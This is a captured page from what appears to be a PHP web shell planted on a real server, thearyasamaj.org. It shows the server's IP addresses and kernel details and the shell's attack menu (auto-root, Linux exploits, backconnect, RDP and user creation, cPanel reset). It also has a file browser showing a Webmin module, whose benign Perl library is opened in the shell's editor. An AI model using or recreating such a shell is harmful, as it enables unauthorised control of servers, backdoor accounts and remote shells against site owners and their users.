Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-software /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.01
KB
-rw-r--r--
add.cgi
904
B
-rwxr-xr-x
close.cgi
272
B
-rwxr-xr-x
closeall.cgi
179
B
-rwxr-xr-x
cluster-software-lib.pl
9.51
KB
-rwxr-xr-x
compare.cgi
1.81
KB
-rwxr-xr-x
compare_form.cgi
1.13
KB
-rwxr-xr-x
config
25
B
-rw-r--r--
config.info
108
B
-rw-r--r--
config.info.ca
133
B
-rw-r--r--
config.info.cs
82
B
-rw-r--r--
config.info.de
125
B
-rw-r--r--
config.info.es
90
B
-rw-r--r--
config.info.fr
134
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.ms
131
B
-rw-r--r--
config.info.nl
130
B
-rw-r--r--
config.info.no
129
B
-rw-r--r--
config.info.pl
121
B
-rw-r--r--
defaultacl
6
B
-rw-r--r--
delete_host.cgi
254
B
-rwxr-xr-x
delete_pack.cgi
3.15
KB
-rwxr-xr-x
delete_packs.cgi
2.86
KB
-rwxr-xr-x
do_install.cgi
7.11
KB
-rwxr-xr-x
do_install_serial.cgi
3.55
KB
-rwxr-xr-x
edit_host.cgi
3.84
KB
-rwxr-xr-x
edit_pack.cgi
3.33
KB
-rwxr-xr-x
index.cgi
4.87
KB
-rwxr-xr-x
install_pack.cgi
4.82
KB
-rwxr-xr-x
list_pack.cgi
2.28
KB
-rwxr-xr-x
module.info
427
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
154
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
201
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
282
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
251
B
-rw-r--r--
module.info.ca
155
B
-rw-r--r--
module.info.ca.auto
31
B
-rw-r--r--
module.info.cs
40
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
153
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.auto
25
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
263
B
-rw-r--r--
module.info.es
39
B
-rw-r--r--
module.info.es.auto
119
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
141
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
228
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
156
B
-rw-r--r--
module.info.fr
41
B
-rw-r--r--
module.info.fr.auto
139
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
186
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
155
B
-rw-r--r--
module.info.hu
33
B
-rw-r--r--
module.info.hu.auto
125
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
147
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
228
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
193
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
181
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
165
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
25
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
158
B
-rw-r--r--
module.info.nl
35
B
-rw-r--r--
module.info.nl.auto
122
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.auto
115
B
-rw-r--r--
module.info.pl
132
B
-rw-r--r--
module.info.pl.auto
33
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
154
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
163
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
152
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
278
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
162
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
159
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
151
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
351
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
159
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
272
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
235
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
162
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
131
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
140
B
-rw-r--r--
open.cgi
250
B
-rwxr-xr-x
openall.cgi
427
B
-rwxr-xr-x
prefs.info
28
B
-rw-r--r--
refresh.cgi
1.61
KB
-rwxr-xr-x
search.cgi
1.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cluster-software-lib.pl
# cluster-software-lib.pl # common functions for installing packages across a cluster # XXX refresh all packages after installing BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); &foreign_require("servers", "servers-lib.pl"); &foreign_require("software", "software-lib.pl"); $parallel_max = 20; %access = &get_module_acl(); # list_software_hosts() # Returns a list of all hosts whose software is being managed by this module sub list_software_hosts { local @rv; local %smap = map { $_->{'id'}, $_ } &list_servers(); local $hdir = "$module_config_directory/hosts"; opendir(DIR, $hdir); foreach $h (readdir(DIR)) { next if ($h =~ /\.host$/ || $h eq '.' || $h eq '..'); local %host = ( 'id', $h ); next if (!$smap{$h}); # underlying server was deleted opendir(PDIR, "$hdir/$h") || next; foreach $p (readdir(PDIR)) { next if ($p eq "." || $p eq ".."); local %pkg; &read_file("$hdir/$h/$p", \%pkg); push(@{$host{'packages'}}, \%pkg); } closedir(PDIR); &read_file("$hdir/$h.host", \%host); push(@rv, \%host); } closedir(DIR); return @rv; } # save_software_host(&host) # Add or update a managed host with it's package list sub save_software_host { local $hdir = "$module_config_directory/hosts"; mkdir($hdir, 0700); if (-d "$hdir/$_[0]->{'id'}") { opendir(DIR, "$hdir/$_[0]->{'id'}"); foreach $f (readdir(DIR)) { unlink("$hdir/$_[0]->{'id'}/$f"); } closedir(DIR); } else { mkdir("$hdir/$_[0]->{'id'}", 0700); } foreach $p (@{$_[0]->{'packages'}}) { local $pname = $p->{'name'}; $pname =~ s/\//_/g; &write_file("$hdir/$_[0]->{'id'}/$pname", $p); } local %h = %{$_[0]}; delete($h{'packages'}); &write_file("$hdir/$_[0]->{'id'}.host", \%h); } # delete_software_host(&host) sub delete_software_host { &unlink_file("$module_config_directory/hosts/$_[0]->{'id'}.host"); &unlink_file("$module_config_directory/hosts/$_[0]->{'id'}"); } # list_servers() # Returns a list of all servers from the webmin servers module that can be # managed, plus this server sub list_servers { local @servers = &servers::list_servers_sorted(); return ( &servers::this_server(), grep { $_->{'user'} } @servers ); } # host_to_server(&host|id) sub host_to_server { local $id = ref($_[0]) ? $_[0]->{'id'} : $_[0]; local ($serv) = grep { $_->{'id'} eq $id } &list_servers(); return $serv; } # server_name(&server) sub server_name { return $_[0]->{'desc'} || $_[0]->{'realhost'} || $_[0]->{'host'}; } # get_heiropen(hostid) # Returns an array of open categories sub get_heiropen { open(HEIROPEN, "<$module_config_directory/heiropen.$_[0]"); local @heiropen = <HEIROPEN>; chop(@heiropen); close(HEIROPEN); return @heiropen; } # save_heiropen(&heir, hostid) sub save_heiropen { &open_tempfile(HEIR, ">$module_config_directory/heiropen.$_[1]"); foreach $h (@{$_[0]}) { &print_tempfile(HEIR, $h,"\n"); } &close_tempfile(HEIR); } # create_on_input(desc, [no-donthave], [no-have]) sub create_on_input { local @hosts = &list_software_hosts(); local @servers = &list_servers(); local @opts; push(@opts, [ -1, $text{'edit_all'} ]); push(@opts, [ -2, $text{'edit_donthave'} ]) if (!$_[1]); push(@opts, [ -3, $text{'edit_have'} ]) if (!$_[2]); local @groups = &servers::list_all_groups(\@servers); local $h; foreach $h (@hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; if ($s) { push(@opts, [ $s->{'id'}, $s->{'desc'} || $s->{'realhost'} || $s->{'host'} ]); $gothost{$s->{'host'}}++; } } local $g; foreach $g (@groups) { local ($found, $m); foreach $m (@{$g->{'members'}}) { ($found++, last) if ($gothost{$m}); } push(@opts, [ "group_$g->{'name'}", &text('edit_group', $g->{'name'}) ]) if ($found); } local $sel = &ui_select("server", undef, \@opts); if ($_[0]) { print &ui_table_row($_[0], $sel); } else { print $sel; } } # create_on_parse(prefix, &already, name) sub create_on_parse { local @hosts = &list_software_hosts(); local @servers = &list_servers(); if ($in{'server'} == -2) { # Install on hosts that don't have it local %already = map { $_->{'id'}, 1 } @{$_[1]}; @hosts = grep { !$already{$_->{'id'}} } @hosts; print "<b>",&text($_[0].'3', $_[2]),"</b><p>\n"; } elsif ($in{'server'} == -3) { # Install on hosts that do have it local %already = map { $_->{'id'}, 1 } @{$_[1]}; @hosts = grep { $already{$_->{'id'}} } @hosts; print "<b>",&text($_[0].'6', $_[2]),"</b><p>\n"; } elsif ($in{'server'} =~ /^group_(.*)/) { # Install on members of some group local ($group) = grep { $_->{'name'} eq $1 } &servers::list_all_groups(\@servers); @hosts = grep { local $hid = $_->{'id'}; local ($s) = grep { $_->{'id'} == $hid } @servers; &indexof($s->{'host'}, @{$group->{'members'}}) >= 0 } @hosts; print "<b>",&text($_[0].'4', $_[2], $group->{'name'}), "</b><p>\n"; } elsif ($in{'server'} != -1) { # Just install on one host @hosts = grep { $_->{'id'} == $in{'server'} } @hosts; local ($s) = grep { $_->{'id'} == $hosts[0]->{'id'} } @servers; print "<b>",&text($_[0].'5', $_[2], &server_name($s)),"</b><p>\n"; } else { # Installing on every host print "<b>",&text($_[0], join(" ", @names)),"</b><p>\n"; } return @hosts; } # Setup error handler for down hosts sub add_error { $add_error_msg = join("", @_); } # add_managed_host(&server) # Adds a new system to this module for management, and returns a status code # (0 or 1) and error or information message sub add_managed_host { local ($s) = @_; &remote_error_setup(\&add_error); # Get the packages for each host local %sconfig = &foreign_config("software"); $add_error_msg = undef; local $host = { 'id' => $s->{'id'} }; local $soft = &remote_foreign_check($s->{'host'}, "software"); if ($add_error_msg) { return (0, $add_error_msg); } if (!$soft) { return (0, &text('add_echeck', $s->{'host'})); } &remote_foreign_require($s->{'host'}, "software", "software-lib.pl"); local $rconfig = &remote_foreign_config($s->{'host'}, "software"); #if ($rconfig->{'package_system'} ne $sconfig{'package_system'}) { # return (0, &text('add_esystem', $s->{'host'})); # } $host->{'package_system'} = $rconfig->{'package_system'}; local $gconfig = &remote_foreign_config($s->{'host'}, undef); foreach $g ('os_type', 'os_version', 'real_os_type', 'real_os_version') { $host->{$g} = $gconfig->{$g}; } local $n = &remote_foreign_call($s->{'host'}, "software", "list_packages"); local $packages = &remote_eval($s->{'host'}, "software", "\\%packages"); for(my $i=0; $i<$n; $i++) { push(@{$host->{'packages'}}, { 'name' => $packages->{$i,'name'}, 'class' => $packages->{$i,'class'}, 'desc' => $packages->{$i,'desc'}, 'version' => $packages->{$i,'version'}, 'nouninstall' => $packages->{$i,'nouninstall'}, 'nolist' => $packages->{$i,'nolist'}, }); } &save_software_host($host); return (1, &text('add_ok', &server_name($s), $n)); } # refresh_packages(&hosts) # Update the local cache with actual installed packages. Returns an array # of either an error messages or two arrays of added and removed packages. sub refresh_packages { local ($hosts) = @_; local @servers = &list_servers(); # Setup error handler for down hosts sub ref_error { $ref_error_msg = join("", @_); } &remote_error_setup(\&ref_error); local $p = 0; foreach my $h (@$hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; local ($rh = "READ$p", $wh = "WRITE$p"); pipe($rh, $wh); if (!fork()) { close($rh); if ($s) { # Refresh the list &remote_foreign_require($s->{'host'}, "software", "software-lib.pl"); if ($ref_error_msg) { # Host is down .. print $wh &serialise_variable($ref_error_msg); exit; } local $gconfig = &remote_foreign_config($s->{'host'}, undef); foreach $g ('os_type', 'os_version', 'real_os_type', 'real_os_version') { $h->{$g} = $gconfig->{$g}; } local @old = map { $_->{'name'} } @{$h->{'packages'}}; undef($h->{'packages'}); local $n = &remote_foreign_call($s->{'host'}, "software", "list_packages"); local $packages = &remote_eval($s->{'host'}, "software", "\\%packages"); local @added; for($i=0; $i<$n; $i++) { next if (!$packages->{$i,'name'}); push(@{$h->{'packages'}}, { 'name' => $packages->{$i,'name'}, 'class' => $packages->{$i,'class'}, 'desc' => $packages->{$i,'desc'}, 'version' => $packages->{$i,'version'}, 'nouninstall' => $packages->{$i,'nouninstall'}, 'nolist' => $packages->{$i,'nolist'}, }); $idx = &indexof($packages->{$i,'name'}, @old); if ($idx < 0) { push(@added, $packages->{$i,'name'}); } else { splice(@old, $idx, 1); } } &save_software_host($h); $rv = [ \@added, \@old ]; } else { # remove from managed list &delete_software_host($h); $rv = undef; } print $wh &serialise_variable($rv); close($wh); exit; } close($wh); $p++; } # Read back results $p = 0; local @results; foreach my $h (@hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; local $rh = "READ$p"; local $line = <$rh>; local $rv = &unserialise_variable($line); close($rh); push(@results, $rv); $p++; } return @results; } # same_package_system(&host) # Returns 1 if some host is using the same package system as this master sub same_package_system { local ($host) = @_; return !$host->{'package_system'} || $host->{'package_system'} eq $software::config{'package_system'}; } 1;
Close